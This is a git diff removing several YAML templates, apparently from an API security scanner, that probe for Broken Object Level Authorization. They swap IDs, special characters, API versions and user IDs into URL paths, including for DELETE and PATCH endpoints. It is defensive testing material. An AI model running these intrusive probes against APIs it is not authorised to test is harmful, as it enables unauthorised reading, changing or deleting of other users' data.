- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_INTEGER_ID
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - "failure"
- - "not available"
- - "not found"
-
-wordLists:
- integerIDs:
- - 1
- - 2
- - 3
- - 4
- - 5
-
-execute:
- type: multiple
- requests:
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x2
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x3
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x4
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${integerIDs}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - "failure"
- - "not available"
- - "not found"
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathReplaceIntegerDELETE.yml b/Broken-Object-Level-Authorization/BOLAURLPathReplaceIntegerDELETE.yml
deleted file mode 100644
index faad85e5..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathReplaceIntegerDELETE.yml
+++ /dev/null
@@ -1,159 +0,0 @@
-id: BOLA_URL_REPLACE_INTEGER_ID_DELETE
-info:
- name: "Exploiting BOLA by replacing URL path with Integer IDs for Unauthorized Access with DELETE based APIs"
- description: >
- "In this specific test (with DELETE based APIs), attackers attempt unauthorized access by substituting Integer IDs in the URL path. By doing so, the test aims to uncover weaknesses in the authorization mechanisms, revealing potential security lapses in how the application manages user privileges and access controls."
- details: >
- "This test (with DELETE based APIs) aims to uncover vulnerabilities in applications relying on user-input like URL paths for access control. By substituting Integer IDs in the URL path, attackers exploit this weakness to gain unauthorized access. This test helps identify and rectify flaws in authorization mechanisms, exposing potential security risks in managing user privileges and access controls."
- impact: >
- "Manipulating Integer IDs in URL paths to exploit Broken Object Level Authorization (BOLA) can result in significant impacts. Unauthorized access may lead to data breaches, compromising sensitive information and user privacy. This security vulnerability not only jeopardizes the application's reputation but also exposes it to legal consequences. Effectively addressing BOLA is crucial for preventing these severe repercussions and ensuring the overall security of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_INTEGER_ID_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - "failure"
- - "not available"
- - "not found"
-
-wordLists:
- integerIDs:
- - 1
- - 2
- - 3
- - 4
- - 5
-
-execute:
- type: multiple
- requests:
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x2
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x3
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x4
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${integerIDs}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - "failure"
- - "not available"
- - "not found"
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathReplaceIntegerPATCH.yml b/Broken-Object-Level-Authorization/BOLAURLPathReplaceIntegerPATCH.yml
deleted file mode 100644
index 08c84028..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathReplaceIntegerPATCH.yml
+++ /dev/null
@@ -1,161 +0,0 @@
-id: BOLA_URL_REPLACE_INTEGER_ID_PATCH
-info:
- name: "Exploiting BOLA by replacing URL path with Integer IDs for Unauthorized Access with PUT/PATCH based APIs"
- description: >
- "In this specific test (with PUT/PATCH based APIs), attackers attempt unauthorized access by substituting Integer IDs in the URL path. By doing so, the test aims to uncover weaknesses in the authorization mechanisms, revealing potential security lapses in how the application manages user privileges and access controls."
- details: >
- "This test (with PUT/PATCH based APIs) aims to uncover vulnerabilities in applications relying on user-input like URL paths for access control. By substituting Integer IDs in the URL path, attackers exploit this weakness to gain unauthorized access. This test helps identify and rectify flaws in authorization mechanisms, exposing potential security risks in managing user privileges and access controls."
- impact: >
- "Manipulating Integer IDs in URL paths to exploit Broken Object Level Authorization (BOLA) can result in significant impacts. Unauthorized access may lead to data breaches, compromising sensitive information and user privacy. This security vulnerability not only jeopardizes the application's reputation but also exposes it to legal consequences. Effectively addressing BOLA is crucial for preventing these severe repercussions and ensuring the overall security of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_INTEGER_ID_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - "failure"
- - "not available"
- - "not found"
-
-wordLists:
- integerIDs:
- - 1
- - 2
- - 3
- - 4
- - 5
-
-execute:
- type: multiple
- requests:
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x2
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x3
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${integerIDs}
- - success: vulnerable
- - failure: x4
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${integerIDs}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - "failure"
- - "not available"
- - "not found"
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharacters.yml b/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharacters.yml
deleted file mode 100644
index 5e11b3e9..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharacters.yml
+++ /dev/null
@@ -1,170 +0,0 @@
-id: BOLA_URL_REPLACE_SPECIAL_CHAR
-info:
- name: "Exploiting BOLA by replacing URL path with Special Characters for Unauthorized Access."
- description: >
- "This BOLA test focuses on manipulating URL paths with special characters to exploit vulnerabilities. This tactic aims to achieve unauthorized access by tricking the system into accepting unconventional input, compromising object-level authorization controls. Attackers, by replacing standard URL components, seek to breach security measures, potentially leading to unauthorized entry and exposure of sensitive resources within the application."
- details: >
- "This BOLA test exploits vulnerabilities in an application's authorization by substituting special characters in the URL path. This manipulation aims at gaining unauthorized access by circumventing object-level authorization controls. Attackers employ this technique to trick the system, potentially compromising security and enabling access to restricted resources, posing a threat of unauthorized exposure of sensitive data within the application."
- impact: >
- "The impact of a successful BOLA attack can be severe, as it allows unauthorized access to sensitive resources within the application. This breach compromises the confidentiality and integrity of data, potentially leading to data leaks or manipulation. Moreover, it undermines the overall security posture of the system, exposing vulnerabilities that can be exploited for further malicious activities, putting both the application and its users at significant risk."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_SPECIAL_CHAR
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
-
-wordLists:
- specialCharacters:
- - "*"
- - "'"
- - "!"
- - "@"
- - "^"
- - "&"
- - "%"
- - "$"
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${specialCharacters}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharactersDELETE.yml b/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharactersDELETE.yml
deleted file mode 100644
index a074d903..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharactersDELETE.yml
+++ /dev/null
@@ -1,158 +0,0 @@
-id: BOLA_URL_REPLACE_SPECIAL_CHAR_DELETE
-info:
- name: "Exploiting BOLA by replacing URL path with Special Characters for Unauthorized Access with DELETE based APIs"
- description: >
- "This BOLA test (with DELETE based APIs) focuses on manipulating URL paths with special characters to exploit vulnerabilities. This tactic aims to achieve unauthorized access by tricking the system into accepting unconventional input, compromising object-level authorization controls. Attackers, by replacing standard URL components, seek to breach security measures, potentially leading to unauthorized entry and exposure of sensitive resources within the application."
- details: >
- "This BOLA test (with DELETE based APIs) exploits vulnerabilities in an application's authorization by substituting special characters in the URL path. This manipulation aims at gaining unauthorized access by circumventing object-level authorization controls. Attackers employ this technique to trick the system, potentially compromising security and enabling access to restricted resources, posing a threat of unauthorized exposure of sensitive data within the application."
- impact: >
- "The impact of a successful BOLA attack can be severe, as it allows unauthorized access to sensitive resources within the application. This breach compromises the confidentiality and integrity of data, potentially leading to data leaks or manipulation. Moreover, it undermines the overall security posture of the system, exposing vulnerabilities that can be exploited for further malicious activities, putting both the application and its users at significant risk."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_SPECIAL_CHAR_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
-
-wordLists:
- specialCharacters:
- - "*"
- - "'"
- - "!"
- - "@"
- - "^"
- - "&"
- - "%"
- - "$"
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${specialCharacters}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
diff --git a/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharactersPATCH.yml b/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharactersPATCH.yml
deleted file mode 100644
index b3de1e07..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLPathReplaceSpecialCharactersPATCH.yml
+++ /dev/null
@@ -1,160 +0,0 @@
-id: BOLA_URL_REPLACE_SPECIAL_CHAR_PATCH
-info:
- name: "Exploiting BOLA by replacing URL path with Special Characters for Unauthorized Access with PUT/PATCH based APIs"
- description: >
- "This BOLA test (with PUT/PATCH based APIs) focuses on manipulating URL paths with special characters to exploit vulnerabilities. This tactic aims to achieve unauthorized access by tricking the system into accepting unconventional input, compromising object-level authorization controls. Attackers, by replacing standard URL components, seek to breach security measures, potentially leading to unauthorized entry and exposure of sensitive resources within the application."
- details: >
- "This BOLA test (with PUT/PATCH based APIs) exploits vulnerabilities in an application's authorization by substituting special characters in the URL path. This manipulation aims at gaining unauthorized access by circumventing object-level authorization controls. Attackers employ this technique to trick the system, potentially compromising security and enabling access to restricted resources, posing a threat of unauthorized exposure of sensitive data within the application."
- impact: >
- "The impact of a successful BOLA attack can be severe, as it allows unauthorized access to sensitive resources within the application. This breach compromises the confidentiality and integrity of data, potentially leading to data leaks or manipulation. Moreover, it undermines the overall security posture of the system, exposing vulnerabilities that can be exploited for further malicious activities, putting both the application and its users at significant risk."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_SPECIAL_CHAR_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
-
-wordLists:
- specialCharacters:
- - "*"
- - "'"
- - "!"
- - "@"
- - "^"
- - "&"
- - "%"
- - "$"
-
-execute:
- type: multiple
- requests:
- - req:
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x2
- - req:
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x3
- - req:
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${specialCharacters}
- - success: vulnerable
- - failure: x4
- - req:
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${specialCharacters}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
diff --git a/Broken-Object-Level-Authorization/BOLAURLReplaceAPIVersion.yml b/Broken-Object-Level-Authorization/BOLAURLReplaceAPIVersion.yml
deleted file mode 100644
index 9cf97dc1..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLReplaceAPIVersion.yml
+++ /dev/null
@@ -1,177 +0,0 @@
-id: BOLA_URL_REPLACE_API_VERSION
-info:
- name: "Exploiting BOLA by replacing URL path with API Version IDs for Unauthorized Access."
- description: >
- "This test involves exploiting security vulnerabilities by manipulating the URL path with API Version IDs to gain unauthorized access. In this scenario, attackers leverage BOLA to compromise the system by replacing the URL path, tricking the system into granting access to sensitive data or functionalities without proper authorization. This test aims to identify and rectify weaknesses in object-level authorization mechanisms to ensure robust security measures against unauthorized access attempts."
- details: >
- "This test focuses on identifying vulnerabilities where attackers manipulate URL paths by substituting them with API Version IDs. This manipulation allows unauthorized access to sensitive information or functionalities within a system. By exploiting BOLA, attackers can circumvent proper authorization mechanisms, posing a significant security risk. Conducting this test helps organizations identify and address weaknesses in object-level authorization, enhancing overall system security."
- impact: >
- "Exploiting Broken Object Level Authorization (BOLA) through the manipulation of URL paths can have severe impacts on system security. Unauthorized access to sensitive data or functionalities may lead to unauthorized disclosure, alteration, or deletion of critical information. This security vulnerability could result in a compromise of user privacy, financial losses, and reputational damage for the affected organization. Addressing BOLA vulnerabilities is crucial to mitigate these potential impacts and maintain the integrity of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_API_VERSION
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- url:
- regex: "^(?!.*v([0-9]\\d*|\\d{0,})/).*"
- response_payload:
- length:
- gt: 0
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- private_variable_context:
- gt: 0
-
-
-wordLists:
- apiVersions:
- - v0
- - v1
- - v2
- - v3
- - v4
- - v5
-
-execute:
- type: multiple
- requests:
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 1
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x2
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 2
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x3
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 3
- replace_with: ${apiVersions}
- - success: vulnerable
- - failure: x4
- - req:
- - replace_auth_header: true
- - modify_url:
- token_replace:
- location: 4
- replace_with: ${apiVersions}
-validate:
- response_code:
- gte: 200
- lt: 300
- url:
- endpoint_in_traffic_context: false
- response_payload:
- length:
- gt: 0
- percentage_match:
- gte: 90
- contains_all:
- - "{"
- - "}"
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - not found
- - not available
- - failure
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAURLReplaceUserID.yml b/Broken-Object-Level-Authorization/BOLAURLReplaceUserID.yml
deleted file mode 100644
index 400e0812..00000000
--- a/Broken-Object-Level-Authorization/BOLAURLReplaceUserID.yml
+++ /dev/null
@@ -1,160 +0,0 @@
-id: BOLA_URL_REPLACE_USER_ID
-info:
- name: "Exploiting BOLA by replacing URL path with User IDs for Unauthorized Access."
- description: >
- "This test involves exploiting security vulnerabilities by manipulating the URL path and substituting it with User IDs. This unauthorized access allows attackers to bypass proper authorization mechanisms, potentially gaining unauthorized entry to sensitive data or functionalities. The test aims to identify and rectify weaknesses in object-level authorization, ensuring that only authorized users can access specific resources or perform certain actions within an application or system."
- details: >
- "In this test, attackers exploit security weaknesses by manipulating the URL path, substituting it with User IDs to gain unauthorized access. By doing so, they can bypass proper authorization controls, potentially accessing sensitive data or functionalities. This test helps identify and address vulnerabilities in object-level authorization, ensuring that only authorized users have legitimate access to specific resources or actions within a system or application."
- impact: >
- "The impact of a Broken Object Level Authorization (BOLA) test exploit can be severe, as unauthorized access to sensitive data or functionalities may compromise the confidentiality and integrity of a system. Attackers could potentially retrieve or manipulate critical information, leading to data breaches, unauthorized transactions, or even the compromise of user privacy. Addressing BOLA vulnerabilities is crucial to prevent these far-reaching consequences and maintain the security and trustworthiness of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_URL_REPLACE_USER_ID
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - failure
- - not available
- - not found
-
-wordLists:
- random_ids:
- source: sample_data
- key:
